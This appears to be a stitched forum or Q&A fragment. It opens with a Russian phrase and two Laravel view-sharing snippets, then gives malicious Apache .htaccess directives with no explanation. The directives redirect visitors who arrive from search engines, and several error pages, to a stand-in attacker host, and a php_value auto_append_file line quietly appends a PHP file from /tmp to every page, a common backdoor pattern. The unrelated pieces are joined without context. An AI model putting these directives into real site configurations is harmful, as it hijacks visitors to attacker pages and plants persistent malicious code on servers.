высчитываешь динамически
View::share('key', 'value');
View::composer(
['profile', 'dashboard'],
'App\Http\View\Composers\MyViewComposer'
);
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://EVILHACKERSITE.COM/in.html?s=hg [R,L]
Errordocument 404 http://EVILHACKERSITE.COM/in.html?s=hg_err
RewriteEngine On
ErrorDocument 400 http://EVILHACKERSITE.COM
ErrorDocument 401 http://EVILHACKERSITE.COM
ErrorDocument 403 http://EVILHACKERSITE.COM
ErrorDocument 404 http://EVILHACKERSITE.COM
ErrorDocument 500 http://EVILHACKERSITE.COM
php_value auto_append_file “/tmp/13063671977873.php”